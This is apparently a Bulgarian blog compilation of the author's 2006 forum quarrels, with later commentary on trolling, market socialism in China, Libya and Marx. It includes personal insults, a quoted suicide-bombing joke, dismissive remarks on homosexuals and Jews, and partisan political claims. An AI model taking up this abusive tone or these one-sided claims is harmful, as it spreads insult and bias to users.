По-сетне научих, че има такова нещо като недоносителство, та станах по-отговорен и съм сигнализирал, когато съм попадал на такива незаконни неща. В днешно време, обаче, особено с тези социални мрежи, фактическа Трета Световна войнаи оварваряване, тези неща онлайн едва ли не станаха "нормални" (да не говорим, че при някои законодателства не са и наказуеми, защото спадали към "свободата на словото") та избягвам да ги чета и да се натоварвам излишно.
",та следващия път вместо да ръгаш 15 женски ника и да са обяснааш в либоф на мене,Гришата,Жоро и сичките други знайни и незнайни обекти на мечтите ти"
ЕТО ТОВА Е ЧАСТ ОТ ИДИОТЩИНАТА ВИ! Измисляте си, че съм регнал "Силвия-Татар", сега пък че имало 15, ЗА ДА МОЖЕТЕ ДА СИ ПОДДЪРЖАТЕ халюцинаториката. Въпросът е кой ли ви вярва?!
",земи сложи един колан динамит на кръстя,фащаш жиците и са буаш у сървъро с вика:Алла у акбар!"
Милият той ;-), колко бил "оригинален"!
"от твойта голема либоф Оня"
"ПП.Човекот си е написАл името,ни съ пръй на луд!
"
ТИ изчети последователно постовете и отвори в плосък режим, за да ти е по-лесно, недей да си толкова дървен (имам предвид режима, де) :))))
Ислямистката шега наистина беше доста плоска. Иначе човекът, макар и субективен, не беше от най-тъпите, имаше някакъв интелект, логика, дори добри попадения на времена. След толкова време, да е жив и здрав, може да се е пооправил етично и интелектуално. Всичко се мени/изменя/променя.
-
Пак две хиляди и шестово (2006-тово), т. е. от 2006-тата година:
", Татаре, мама, ти пак тук ли ? Май отново си се появил и в Дао-то, ма пак си женску."
ТАКАВА ЛИ Е НОВАТА ЛИНИЯ НА ЖОРЕТО, БЕ? ДА РЕГНЕ НЯКОЙ НИК И ДА ПИШЕ, ЧЕ СЪМ АЗ? АМИ ДОБРЕ - ЩОМ КАЗВАТЕ. МОЖЕ ДАЖЕ И ДА ИЗМИСЛИТЕ СЛЕДНОТО - АЗ СЪМ КРЕАТУРА НА ОНЯ И ТОЙ ПИШЕ КАТО ТАТАР, А СЕГА СЕ ПРАВИ НА ЖЕНА или на "ЖЕНСКУ", както си писал.
"Явно женският пол повече те влече, туй хубуву."
АМИ ДА, ВЛЕКАТ МЕ ЖЕНИТЕ, А НЕ МЪЖЕТЕ. ВЯРНО Е, ЧЕ В ДАОТО ИМА ДОСТА МЪЖЕ, КОИТО СЕ ВЛЕКАТ ОТ МЪЖЕ. ЗА КАКВО МИСЛИШ, ЧЕ ПРАКТИКУВАТ ОСНОВНО ГРАПЛИНГ? АМИ ЗА "ФУЛ-КОНТАКТ"! ИНАЧЕ В БГ да не е станало позорно да те влече женския пол?
По онова време някои много прекаляваха с граплингофилията (и рекламирането на граплинг), та чак (май Докторът) им беше пуснал един сполучлив прякор "борбаджиите". Аз, по принцип, уважавам борбите (има толкова много източни борби - корейски сиръм (씨름), татарски кьоръш (көрәш), чувашки кърешю (кӗрешӳ), монголски бьох (бөх) и пр.), но не мисля, че в БИ (бойните изкуства), а още повече в СМБ (смесените бойни изкуства, придобили популярност като MMA) би трябвало везните да се накланят само към борбите (граплингите).
А за мъжките влечения - аналогично и реципрочно майтапене от моя страна. ;D
А за това, че има по-осезаемо увеличение на хомосексуализма, в сравнение с по-рано, няма какво да говорим. Аз съм си хетеросексуален и толкова. Не дискриминирам хомосексуалните, но и не ги лансирам.
"А те трият както са посочили колегите, шот само глупости пишеш."
Да, понеже така са ти казали. ;) Ти директно постигна мечата на всеки енциклопедист! С една лаконична постановка да изясниш същността на толкова много явления (в случая постингите). Браво! Гениално! Засужаваш награда! Например - граплинг среща с онези, дето не ги влекат жените, като мене!
"Спират да спорят с тебе, пак щот само глупости пишеш, щом и берсерка отказа, направо не знам... "
Само за едно съм съгласен - Берсекът е най-несведущ. Иначе за мотивацията им - не си оцелил, ама никак! Те не са от тези, които ще спрат току-тъй!
Хайде, да предположим, за секундичка, че си прав. Значи трябва да са си изградили някаква установка за мене. И ОТ КАКЪВ ЗОР ИДВАТ ДА СЕ ПРОБВАТ ПАК?!
Нещо да ти говори това?
"Тука също рано или късно ще те зтрият, само ш им трябва повече време."
Не пророкувай, че да не те хване рака като баба Ванга - пророчицата и да си идеш на млади години (тя поне си поживя повечко, че даже и с Кирсан Илюмжинов се срещна!). В смисъл, чисто аналогично, т. е. по аналогия - имало врачка заболяла от рак, този се прави на врачка/пророк, да не вземе и него да го хване рака. (Черен хумор. ;D Но заслужен, особено заради псувнята на майка в началото на обръщението му.)
"Хубаво е , че нямат възможности за цветове и размер на шрифта, шот тогаз става страшно, ща забий сърваро."
Няма единствено ИНТЕЛЕКТ у теб, за да направиш един елементарен цвят, човече!А болд, харесва ли ти?
;D (Човекът си е бил неграмотен и не е знаел как да използва елементарни бий-бий кодове (би-би кодове).)
"Вземи на сериозно предложението на Оня за динамита, ще помогнеш на много хора и най - вече на себе си."
По тази логика, ти ще сториш най-алтруистичното дело, ако го изпълниш самичък.
Понеже имаш нужда от анихилация, както ми се струва :) Нямало възможности за цветове и размер на шрифта, а?:)
Анихилацията - черен хумор от научната фантастика. ;D
"Твой другар Уйки - кики"
Според ника ти, разбирам че си от тези, които не се влекат по жени, другарю!
Я виж Китай колко се развива под грижите на Великата Китайска Комунистическа Партия и не говори празни приказки:
[image]http://www.lynchem.com/edoc/new/Welcome%20to%20Lynchem%20at%20Dalian.gif[/image] От онова време, някаква снимка на град Далиен. А иначе, в днешно време, както писах многократно, въпросната партия вече не е това, което беше и е придатък на един императоризиран "президент". Вече не съм прокитайски настроен, защото аз съм почитател на социалистическите държави, не на феодализиращи се монархоподобни такива.
Сега какво? И снимки ли ще се учудиш, че могат да се слагат тук, Малоумов?
;D Просто още един код, който човечецът не е знаел.
-
Още 2006-тови.
Sat Mar 25 06:02:57 2006
Понеже редактиране | oтговор на това съобщение
----
гледам, приятелю, че си се уплашил да отвориш нова тема, след като обеща, аз ще те посетя в тази (ОЩЕ ПОВЕЧЕ, ЧЕ КАЗВАШ, ЧЕ ТРЯБВАЛО ДА Я ПОСЕТЯ) и ще ти покажа как упорстваш в заблужденията си. Не можеш ли да разбереш, че колкото повече се опитваш да упорстваш в елементарните си заблуди, толкова повече хората ще видят колко си несведущ в тематиките? Както си призна, че комунизмът не е нозология, а идеологията не е насилие, така можеше лесно да си признаеш и за останалите неща, но не, ти предпочиташ да упорстваш надявайки се, че нивото на останалите ще е колкото това на тебе, Горският и Ромова, но,...уви.
Сега, позволи ми, да започна с отговор на неотворената от тебе тема (понеже съзирам, че това ти е голямото притеснение, но то е нормално! С тези грешки и то упорстващи, всеки би се почувствал зле и притеснен).
"Трябва да ти кажа, човек, че ти си този, който прави елементарни и банални грешки"
Това, Ванго, му се казва безочие, но не се притеснявай. Свикнал съм. То си е за твоя сметка. Можеш и 100 пъти да повториш неверните си съждения, аз няма да се уморя да ти отговарям. Ако някой път не ти отговоря да знаеш, че има само 3 възможни причини:
- баннали са ме по заслуга на Горския или някой подобен завистливец.
- спрял ми е Интернета (което не виждам как ще стане в Китай)
- умрял съм.
Е, в днешно време, в Китай може много неща да ти спрат. Все по-засилена императоризация...
"Каза, че комунистите избивали, а се оказа, че ВСИЧКИ В БЪЛГАРИЯ ИЗБИВАТ!" Доколкото си спомням ставаше дума, че и преди комунистите е имало избивания. Който е учил историята - знае. Примерно Борис с неговите 52 избити боилски рода. Да не говорим за по-сетнешното царско време.
*Българските комунисти са българите, които най-много са избивали в България - 30 000 по официални и 200 000 по нeофициални данни.
Ако си чел повече философия на правото, етика и морал, както и други подобни дисциплини ще знаеш, че:
а/ Убийството е убийство.
б/ Ако един е убил 20, а друг 200 души, количеството не прави единият по-малко убиец. Защото вече сме надхвърлили качествено-решаващата мяра.
в/ ЗАБЛУЖДАВАШЕ ХОРАТА, ЧЕ САМО КОМУНИСТИТЕ ИЗВЪРШВАЛИ УБИЙСТВА, А СЕ ОКАЗА, ЧЕ В БЪЛГАРИЯ И НЕКОМУНИСТИТЕ СА УБИВАЛИ.
"-Каза, че Борис бил имал паметник в Израел, а се оказа, че е съборен понеже е съдействал за избиването на много евреи!"
*Борис е ИМАЛ паметник в Израел, и евреите са го РАЗРУШИЛИ, естествено!
ЧАК СЕГА СИ ГО ПРИЗНА! ПРЕДИ СЕ ОПИТА (от незнание, естествено) ДА ИЗЛЪЖЕШ, ЗА ДА ДОКАЖЕШ, ЧЕ БЪЛГАРИЯ НЕ Е ИМАЛА ОБЩО С НАЦИЗМА! Провали се.
България, в интерес на истината, първо наистина е на страната на нацистите, но в последния период на Втората световна воюва срещу тях, след като СССР нахлува, де.
"-Каза, че Либия не била Социалистическа джамахирия, а ЦРУ-то си пишело по инерция."
*Либия НЕ Е СОЦИАЛИСТИЧЕСКА и никога не е била.
И СИ МИСЛИШ, ЧЕ КАТО ГО НАПИШЕШ С ГЛАВНИ БУКВИ ЩЕ Е ВЯРНО? Ти още си на нивото на магическото мислене! Недей така, прочети за кои е свойствено.
Ако ставаше така, щях да напиша с най-големите букви "ВАНГО РАЗБИРА ОТ НАУКА" и сега щях вместо да ти обяснявам елементаризми да си говорим за матерните линии, сирите, преходите на алтайските праформи, прогностиката във футурологията и мн. други неща, които не си сънувал. Но не става така. И, ако се позова на тенденцията при тебе, даже и с много по-реални методи няма да стане.
Обаче, както и преди писах, въпросният Ванго след време се поизучи и четох, че водеше смислени исторически дебати с разни опоненти (включително македонстващи, доколкото си спомням).
"Тя отрича европейската политика"
ХА-Хаааааа, и откога СЪЩЕСТВЕН ПРИЗНАК НА СОЦИАЛИЗМА СТАНА ПРИЗНАВАНЕТО НА ЕВРОПЕЙСКАТА ПОЛИТИКА?????
Ще ме умориш от смях и после ще те съдят! :)
", води своя собствена диктатура, която няма нищо общо със социализма."
Ако беше чел повече история, щеше да знаеш, че ДИКТАТУРАТА е много съществена черта на социализма. Питай , даже Горският ще ти го каже!
А ЗА ОБЩОТО - ОЩЕ ВЕДНЪЖ ДА ТИ РАЗКАЖА:
ТРЕТАТА УНИВЕРСАНА ТЕОРИЯ, създадена от полк. Муамар Кадафи е социалистическа такаваи е ръководен принцип в Соациалистическата Джамахирия - Либия.
Спомняш ли си, че говорихме за това?
Пояснявам, че става дума за диктатура на пролетариата.
"Няма даже НИТО ЕДИН СОЦИАЛИСТИЧЕСКИ СИМВОЛ, върху държавните символи на Либийската Джамахрия."
Понеже това е ИСЛЯМСКИ СОЦИАЛИЗЪМ и там битуват Ислямските и революционни символи. Но, когато ставаше дума за Китай, ти казваше, че само символите не са достатъчни, нали? А сега започна да ги даваш като необходимо условие? Чувал ли си за "удавник и за сламка се хваща"? А и названието "СОЦИАЛИСТИЧЕСКА" не е ли красноречив символ, мойто момченце?
А "АРАБСКИЯ СОЦИАЛИСТИЧЕСКИ СЪЮЗ" основан от Кадафи? Това символ на какво е, според тебе? Или символите са само визуални в твоята главичка малка и млада?
Ето ти отново информация за Либия:
(Този път е на руски, понеже , както се видя, от английски, макар и с превод, не разбираш)
" В 1973 Каддафи организовал Арабский социалистический союз (АСС), ставший единственной легальной политической организацией в стране. В 1977 Всеобщий народный конгресс (ВНК), представляющий многочисленные народные комитеты, одобрил новое название страны – Социалистическая Народная Ливийская Арабская Джамахирия (?народное государство?). Был также переименован и СРК, трансформированный в Генеральный секретариат Конгресса. АСС фактически слился с аппаратом ВНК.
Национальное правительство. В Ливии установлен военный режим, исповедующий идеи арабского национализма, социализма и ислама. Высшим государственным органом является ВНК, в состав которого входят представители народных комитетов.[/re] Фактически ВНК обладает функциями парламента. Его члены избираются на местном и региональном уровнях, часть их назначается лично Каддафи. Из числа членов ВНК Каддафи назначает и министров своего кабинета. Хотя сам Каддафи не занимает никаких официальных постов, он остается ведущим политическим деятелем Ливии.
"
Oтделно искаш ли да си поговорим за друг твой критерий, според който оценяваш Китай - КОЛИЧЕСТВОТО НА ЧАСТНАТА СОБСТВЕНОСТ?
"-Каза, че нямало пазарен социализъм, а само социализъм и капитализъм, а се оказа, че го има сега и, че го е имало и в историята."
В настоящето (2023 г.) направо може да говорим за неофеодализация, т. е. феодализъм от по-съвременен тип, но така или иначе, феодализъм.
*Не съм казал, че е имало социализъм и Капитализъм, не лъжи! Има само Капитализъм. "Пазарен социализъм" е вид капитализъм."
Ами виждаш ли кой лъже - ти лъжеш себе си! При положение, че пазарният социализъм е вид капитализъм, значи, че всичко свеждаш само до черно и бяло! Недей така, Ванго! Цветната телевизия отдавна е открита!
И политолозите определено не са на твоята позиция. Отвори Енциклопедия Британика и се увери сам. Ти утре можеш да кажеш като Алек, че и Глобализацията е комунизъм, че всичко е еднакво , че капитализъм е вид нацизъм и пр. Но тука сме се събрали да си говорим научно, а не инфантилно.
"В Китай е каитализъм, колкото, да не ти се вярва. на световната фондова капиталистическа борса е на едно от челните места."
Милото ми. ;) Китай ИМЕННО защото е социалистическа държава е на водещи места почти по всичко. А това тук не е капитализъм, а СОЦИАЛИЗЪМ с КИТАЙСКА СПЕЦИФИКА. Един от видовете ПАЗАРЕН СОЦИАЛИЗЪМ, който си има прецедент в историята вече. Ако искаш - провери в Енциклопедия Британика.
Беше, де. Тогава. Сега - рефеодализиране и реимператоризиране.
"в/ самоопровергаваш (Колко хубаво даде определение на ИДЕОЛОГИЯ и как се оказа, че не е НАСИЛИЕ, както си мислеше. А да не говорим за комунизма...)."
*Идеологията НЕ Е насилие, а съзнание.
Нова грешка! Хубаво е, че вече не правиш грубата грешка да смяташ насилието за идеология, но ИДЕОЛОГИЯ = СЪЗНАНИЕ е все едно ВАНГО = ПЛАНЕТА. Осъзнай се малко, поне малко, става ли?
"Съзнание за определение на съществуващата субективна и обектвната реалност, която Идеология поражда НАСИЛИЕ."
Ще оставим настрана забатачването ти по отношение на обект-субектните отношения и ще ти кажа нещичко, толкова лесно, че да го проумееш дори ти и Горският:
Насилието е производно от агресията. А агресия може да се породи по различни причини, поводи, основания. Проявяването на агресия на база идеология не е иманентно на самата идеология, тъй-като агресия се проявява и в маймунското общество, а там няма идеологии. Питай етолозите!
"Много си слаб в аргументите."
ТЪКМО ТОВА ИСКАШ ДА КАЖЕШ ЗА СЕБЕ СИ, но го проецираш върху мен.
"даже четох некви твои глупости за Северна КОрея, че е била с по-високо развита икономика от "някои капиталистически страни""
Глупост е това, че не си повярвал, а си го оспорил! Ти и за Либия каза, че е глупост, ама глупостта се оказа у тебе!
Северна Корея е с по-развита икономика от някои неразвити капиталистически страни. Не говорим за развитите.
"Тук вече се осра и даже замириса! Дано не е го прочел някой друг, та да ти се посмее на щуротиите...
Ти си се осрал, не аз. И мирише от тебе, но явно не можеш да направиш извод за източника!
ХА СЕГА ГЛЕДАЙ И СЕ УЧИ - според данни на ЦРУ какво е икономическото развитие на Корея и пред колко НЕСОЦИАЛИСТИЧЕСКИ СТРАНИ Е КОРЕЯТА СЕВЕРНА:
АБСОЛЮТЕН БРУТЕН ВЪТРЕШЕН ПРОДУКТ ЗА МИНАЛАТА ГОДИНА:
87 Korea, North $ 40,000,000,000 2005 est.
НА 87-мо място от общо 323 страни !!!!!!!!!!
БВП - ПЕР КАПИТА:
На 187-мо място от 232 страни !!!!!!!!!!!!!
Хайде сега сметни колко НЕСОЦИАЛИСТИЧЕСКИ СТРАНИ СА ЗАД С. КОРЕЯ като осреднен и като абсолютен икономически показател!
"Ням да ти отговарям защото не искам да те обиждам повече....:)"
След като си видял данните предполагам, че си се самонапсувал. Нали българите така викат: "Да се таковам в главата проста!", та , предполагам, че си го направил, понеже такава излагация рядко се среща!
"Гледай го как лъже!
Как да не смея да споря с тебе?! Казах, че ако продължаваш с баналните грешки ще те игнорна, понеже на никой не му е приятно да чете смешки от рода на това, че Маркс е бил фабрикант, понеже е учил в университет или, че диалектиката е едностранчив подход на черно-бяло.
За спора - ми ти загуби. Да припомним:"
"*Семейство Маркс са били фабриканти, даже младият Карл се е занимавал известно време с ресторантьорство и вестникарство."
Ванго КЪДЕ СА ФАБРИКИТЕ НА МАРКС? НЕ МИ КАЗВАЙ, ЧЕ Е ПИСАЛ ПО ВЕСТНИЦИ - това не е ФАБРИКА! Казва му се журналистика! И аз съм писал в 2 вестника и си направих един свой, НО ОТ ТОВА НЕ ВИДЯХ ФАБРИКИ ДА РАСТАТ В ИМУЩЕСТВОТО МИ! А пък имах един приятел - Делян, той обиколи много ресторанти, доколкото знам и той не стана собственик на ФАБРИКА!
И аз, три дена, работих в ресторант като преводач-сервитьор, но и от това не се заимах с фабрика. А ми се щеше да имам фабрика за безалкохолни напитки по едно време. :)
"Ако семейство Маркс са били много заможни евреи в Германия, как младият им син е живял в мизерия бе!"
Къде са фабриките, Ванго? Нали каза, че Маркс е имал не една, а НЯКОЛКО ФАБРИКИ? Покажи фабриките!
"Нали знаеш, че евреите ВИНАГИ имат семеен бизнес!"
Аз знам, ама ти не знаеш, че не са били класически евреи. Най-малкото виж им РЕЛИГИЯТА!
И пак не разбрах - КЪДЕ СА НА МАРКС НЯКОЛКОТО ФАБРИКИ, ВАНГО?
"Ами за да напише "Капиталът" и "Манифеста" и всичките тия утопии, не смяташ ли, че поне маалко е трябвало да познава капитализма и движението на благата?"
Да, познавал ги е главно от Енглес. А КЪДЕ СА МУ ФАБРИКИТЕ НА МАРКС, ВАНГО? НАЛИ КАЗА, че е имал НЯКОЛКО ФАБРИКИ?
"От къде, ако освен той самият не ебил такъв. Ама си е бил, факти колко щеш! "
СМЯХ В ЗАЛАТА - Покажи ми поне една официална биография на Маркс, където да се казва, че е имал НЯКОЛКО ФАБРИКИ и ще ти дам 1 000 лева!
"Твой проблем е, че си неук!"
Неук си ти, понеже не си учил, че колкото повече повтаряш една глупост, толкова повече ти виждат колко пари чини интелекта ти, дето го няма! КОЛКО ПЪТИ ДА ТИ КАЗВАМ, ЧЕ НЯМА ФАКТИ И Е НЕДОСТОВЕРНО? ДАВАМ ТИ 1000 ЛЕВА, АКО НАМЕРИШ ОФИЦИАЛНА БИОГРАФИЯ, КОЯТО ДА ПОКАЗВА ФАБРИКИТЕ НА МАРКС!
"А!
Ти да си чувал за беден евреин?"
АМА КЪДЕ СА МУ ФАБРИКИТЕ НА МАРКС? И ти чувал ли си за евреин-християнин?
"Айде, и ще отвотя нова тема, не се бой! както виждам, в темата ми за "фашисткият преврат" през 1934 нищо не си писал. Нормало! Може ли да се бориш срещу факти с някакви философски размисли."
:)))))))))))))) Сега вече съжаляваш, че писах, нали?
"бе я вземи и си скъсай дипломата за средно образование:)"
Ако аз скъсам дипломата си за средно, ти трябва да си скъсаш акта за раждане! Понеже, ако аз съм с основно, то ти трябва да си нероден Петко! Да си пълното небитие!
Ванго, приятелю, който не се е отказал на време е губел доста!
Ами мъдро казано, все пак. :)
-
Пак от същите 2006-тови:
中共
Sat Mar 25 06:26:27 2006
Благодаря за въпросите! Няколко отговора: редактиране | oтговор на това съобщение
-------
"Аз имам няколко въпроса, изясняването на които значително ще разшири кръгозора ми по въпроса какво точно е "пазарен социализъм"."
ТАКА Е! ИМАШ НУЖДА! С УДОВОЛСТВИЕ ЩЕ ТИ ПОМОГНА!
"Какви точно са "определените граници" и как това се връзва със следния факт:
"Към клуба на милиардерите през 2005г. са се присъединили и осем нови членове от Китай." сп "Форбс""
ОПРЕДЕЛЕНИТЕ ГРАНИЦИ СА ТЕЗИ, КОИТО ЗАПАЗВАТ КОНТРОЛА НА ДЪРЖАВАТА И, съответно, НАРОДА ВЪРХУ НАЙ-ЖИЗНЕНИТЕ ЗА ИКОНОМИКАТА ОБЕКТИ!
Въпрос 1:
"Натрупването на милиарди долари лично състояние присъщо явление ли е на "пазарния социализъм" и по какво начините за натрупване на такива пари се различават от капитализма?"
РЕЗОНЕН ВЪПРОС.
ОТГОВОР:
а/ Стратегията на Китай е да се замогнат всички. При безспорното развитие на Китай някои се замогват по-рано от останалите и се появява ВРЕМЕННО неравенство.
б/ Това е проблем на развитието на Пазарният социализъм и е преходно явление.
в/ Основната разлика с капитализма е тази, че всичко става законно и под голям контрол. В много капиталистически страни, например, няма смъртно наказание и каквото и престъпление от крупен финансов мащаб да се извърши - няма адекватно наказание.
Въпрос 2:
Изграждането на бъдещо комунистическо общество в което няма да има социално неравенство основна цел ли е на "пазарния социализъм" и ако да то как кореспондира новината за новопоявилите се само за 1 година 8 китайски милиардери със следната извадка от годишния анализ на Международната Конфедерация на Съюзите за Свободна Търговия (ICFTU) за Китай:
"700 милиона живеят с по-малко от два долара на ден. Повече от 15 000 души умират на година от промишлени злополуки. Милиони работят по 60-70 часа на седмица, получават по-малко от минималната работна заплата за страната, и живеят по 20 души в спални помещения. Неравенството се увеличава, а новите безработни в страната са почти толкова колкото са тези в цял свят взети заедно.
ВЕДНАГА ПРИЛАГАМ ОТГОВОРА НА ПОСЛАНИКЪТ НА КИТАЙСКАТА НАРОДНА РЕПУБЛИКА В РЕПУБЛИКА БЪЛГАРИЯ, където са засегнати тези въпроси:
"- Г-н посланик, в Европа придаваме голямо значение на личността в историческия процес. Според Вас кои личности в Китай са играли най-решаваща роля през последните 50-60 години?
- Ние считаме, че народните маси създават историята, а Китайската комунистическа партия (ККП) е формирана от напредничави хора от редиците на народните маси и представлява изконните интереси на най-широкия кръг от хора. След Опиумните войни от средата на XIX в. Китай е сведен до полуфеодална - полуколониална страна, подложена на агресията на Великите сили. Именно ККП повежда народа през изключително трудна борба и провъзгласява Китайската народна република (КНР). Историята и практиката доказват, че без ККП е нямало да има Нов Китай. Мао Цзедун и Дън Сяопин са двамата най-важни ръководители на ККП. Мао Цзедун е ядрото на първото поколение ръководители. Той творчески съчетава универсалните принципи на марксизма и ленинизма с конкретната практика на китайската революция, води народа към победата, основава КНР, завършва прехода на Китай от полуфеодален - полуколониален строй към социалистически. Дън Сяопин е ядрото на второто поколение ръководители на партията, той е архитект на реформата и отварянето на Китай към света. Той намира начин как да изгради социализъм в Китай и да го развие с китайска специфика. Ако не беше другарят Дън Сяопин, реформите нямаше да имат днешния успех.
- Откакто започна икономическите реформи през 1978 г., Китай има среден годишен растеж на БВП от 9,6%. Тогава икономиката му бе 1% от световната, а външнотърговският обмен - $20,6 млрд. Днес делът на Китай е 4%., а обменът за $851 млрд. - третият в света. Китай привлече стотици милиарди долари външни инвестиции, недържавните местни инвестиции са над $1 трилион, има 300 млн. души с мобилни телефони, над 100 млн. включени в интернет. Ясно е, че следвате формулата "силна държава - богати хора". Но бихте ли казали, как Китай планира да учетвори БВП към 2020 г. в сравнение с 2000 г.
- Определените от Организацията по прехрана и земеделие (ФАО) на ООН средни стандарти на жизнено равнище се измерват с коефициента на Роберт Енгъл (каква част от разходите за живот представляват разходите на хората за прехрана). Коефициент над 60% означава, че страните са в бедстващо положение, коефициент между 50% и 60% - задоволяват се нуждите от храна и дрехи на населението, между 40% и 50% - средно заможно общество, под 40% - заможно. За 1998 г. коефициентът на Енгъл за китайските градове е 44.5%, а за селското население - 53.4%. Т.е. доближават се до стандарта на средно заможно общество, но то все още е на ниско ниво, не е цялостно и е неравномерно развито. По тази причина на XVI Конгрес на ККП отново бе поставен въпросът за цялостното изграждане на средно заможно общество за приблизително 20-годишен период, през който БВП на Китай от 2000 г. трябва да се увеличи четири пъти, а БВП на човек от населението - от $848 през 2000 г. до над $3000, което отговаря на средното ниво на страните със средни доходи. Вече са налице обективните и субективните условия за осъществяването на тази цел: първо, субективно погледнато, вече сме намерили пътя за изграждане на социализъм с китайска специфика. Само трябва да следваме политиката на реформи и отваряне към света, предпоставка за която е стабилността, да вървим напред по този път и ще можем да поддържаме непрекъснатия икономически растеж. Второ, обективно погледнато, в обозримо бъдеще световният мир няма да бъде нарушен. Това означава, че за сравнително дълъг период Китай ще може да изгражда собствената си икономика в мирна международна обстановка. При наличието на двете гореспоменати важни условия, целта на Китай през 2020 г. БВП от 2000 г. да се увеличи четирикратно е осъществима.
- Не се ли безпокоите от вътрешните противоречия във вашето развитие - официалната и неофициалната безработица са политически и социално опасни, бързият икономически растеж поляризира обществото - според някои данни за 16 важни отрасли максималната заплата превишава минималната до 245 пъти? Твърди се, че 50-те най-богати хора в Китай притежават 25% от богатството на страната?
- През последните близо 30 години на реформиране постепенно се появиха някои вътрешни противоречия. Едно от тях е проблемът с нарастващата разлика в доходите на населението, който вие повдигнахте. Радвам се, че отбелязахте, че това е проблем "на развитието". Трябва да подчертая, че явлението е обичайно в процеса на икономическо развитие на повечето страни по света, за Китай като голяма страна, развиваща се с бързи темпове, трудно би могло да се избегне нарастването на разликата в доходите в определен период. Китайското правителство отдава голямо значение на проблема и предприе разнообразни практически мерки, с все сили се стреми да отслаби тенденцията към задълбочаване на разликата в доходите на хората от различните региони и от различните обществени слоеве, за да могат широките маси да се възползват еднакво от постиженията на икономическия напредък, за да се създаде хармонична социална среда за дългосрочния, бърз и стабилен икономически растеж. Така например, с цел да се облекчи бремето на земеделците и да се увеличат техните доходи, от 2006 г. Китай премахна напълно отдавнашния селскостопански данък; законът за облагането на доходите бе реформиран и от тази година минималният облагаем доход е увеличен от 800 юана на 1600 юана и редът за облагане на хората с високи доходи бе затегнат доста. Основна цел на развитието на Китай като социалистическа страна е просперитет за всички. Китай позволява на някои хора и на някои региони да се замогват преди други, за да се разбие моделът на уравниловка и да се повиши икономическата ефективност. Целта на това е по-рано замогналите се да служат за стимул за по-късно замогващите се и така в крайна сметка всички да се замогнат. Уверен съм, че успоредно с напредъка на китайските икономиката и общество в посока цялостно, координирано и устойчиво развитие, тези вътрешни противоречия в крайна сметка ще бъдат надлежно уредени. По повдигнатия от вас въпрос за 50-те заможни фамилии, бих искал да ви запозная с някои по-точни цифри. През 2004 г. капиталовата собственост в Китай възлиза общо на $4691,35 млрд., а капиталите на 50-те най-заможни китайци са едва $19,75 млрд., което е само 0,4% от общата стойност на капиталовата собственост в страната. По-важното е това, че от политическа гледна точка Китай е социалистическа страна, ръководена от ККП. От икономическа Китай прилага модела на социалистическа пазарна икономика, при която основната собственост е държавна, но едновременно с нея има и други видове собственост, придържа се към основния принцип за водещата роля на държавния сектор в националната икономика, който ние не можем да подкопаваме. Следователно, в Китай не съществуват политици олигарси и в бъдеще не може да има такива.
- Каква е същността на "Трите големи стратегии" и движещите сили, които ги прилагат?
- Повдигате въпроса за "Трите големи стратегии" и "Трите етапа", които всъщност представляват една концепция, а именно това, което ние наричаме стратегията "Трите крачки". През 1987 г. китайското правителство предлага цялостна стратегия за осъществяване на икономическото строителство с три крачки: първата - удвояване на стойността на БВП от 1980 г., разрешаване на проблема с положението, при което се задоволяват нуждите от храна и дрехи на населението; втората - до края на ХХ в. още веднъж да се удвои БВП и да се постигне стандартът на средно заможното общество; третата - до средата на XXI в. БВП на човек от населението да достигне нивото на средно развитите страни, животът на хората да е сравнително по-заможен, да се завърши в основни линии модернизацията. До края на ХХ в. Китай осъществи първата и втората цел на стратегията "Трите крачки". Сега се работи за постигането на третата цел. Относно движещата сила за реализиране на "Трите големи стратегии", на практика аз вече ви отговорих в отговора на втория ви въпрос.
- Знаем, че Китай не се стреми към хегемония или доминация в света, но и че активно търси нов модел във външната си политика и поведение на глобалната сцена. Някои се страхуват от вас. Един американски преподавател - Джон Миршаймър, неотдавна каза, че международните отношения са джунгла и че в нея е по-добре да се държиш като 200-килограмова горила, отколкото като покорен слабак и че до 30 години ще изхвърлите САЩ от Азия, също както САЩ изхвърлиха Европа от Латинска Америка. Други вярват във вашето мирно израстване като велика сила. Как виждате външната ви политика в идните десетилетия?
- Китай винаги се е придържал към суверенна и независима мирна външна политика с цел мир, развитие и сътрудничество, следва пътя на мирното развитие. Мирното развитие на Китай не би могло да пречи или да заплашва никой. Китай в момента не се стреми към хегемония, в бъдеще, дори и да е голяма сила, пак не би се стремил към хегемония и винаги ще е непоклатим защитник на световния мир и общото развитие. Китайският народ желае заедно с народите на всички страни по света да подпомага многостранната политика, да стимулира икономическата глобализация да се развива в посока, допринасяща за постигането на общ просперитет, да засили демократизацията на международните връзки, уважавайки различията, да даде тласък на изработването на справедлива и разумна международна политика и нов икономически ред. Именно това са външнополитическите принципи, към които Китай ще се придържа и в бъдеще в процеса на мирното си развитие. Китайската дипломация се стреми към създаването на мирна международна среда за мирното развитие на Китай и едновременно с това се стреми да даде своя принос за запазването на мира и стабилността в света и в региона и за насърчаване на общото развитие на човечеството. Искам да подчертая, че въпреки че китайската икономика отбеляза голям напредък през 30-те години на реформиране и отваряне на Китай към света и зае пето място в света по обем на икономиката за 2005 г., поради изостаналата икономическа база и многобройното си население, по БВП на човек от населението все още се нарежда след първите сто в света. Китай ще си остане развиваща се страна още сравително дълго време. Развитието на икономиката и повишаването на стандарта на живот са дългосрочните цели, които стоят пред китайското правителство и народ.
- Какви лични цели сте си поставили, какво се надявате да постигнете, докато сте в България, още повече с оглед на предстоящото й членство в ЕС?
- Има една стара китайска поговорка, която гласи: "Дори да ги делят най-далечни разстояния, добрите приятели се чувстват близо един до друг". Китайците никога няма да забравят, че след провъзгласяването на Нов Китай, България втора в света призна КНР. През 56-те години от установяването на дипломатическите ни отношеня, нашето приятелство устоя на изпитанията на времето. Уверен съм, че с общите ни усилия връзките ни ще се развиват още по-добре. Отношенията на Китай с ЕС са прекрасни и вече се превърнаха в отношения на стратегическо партньорство. Считам, че присъединяването на България към ЕС ще отвори нови перспективи за двустранните ни отношения. По време на дипломатическата си мисия в България ще полагам усилия да стимулирам дружбата между двата народа, ще извлека от тези приятелски отношения по-голяма полза за двата ни народа. Най-голямо удовлетворение ще получа, ако българските правителство и народ добият от моята работа повече и по-дълбоки впечатления за приятелските чувства на китайските правителство и народ. "
"В този ред на мисли, при положение че в капиталистичиска Португалия няма нито един милиардер и определено 50% от населението не живее с под 2 долара на ден,"
В ТОЗИ РЕД НА МИСЛИ - С ОКОЛО 2 ДОЛАРА НА ДЕН В КИТАЙ МОЖЕ ДА СЕ КУПИ ПОВЕЧЕ, ОТКОЛКОТО С 3 ДОЛАРА В ПОРТУГАЛИЯ!
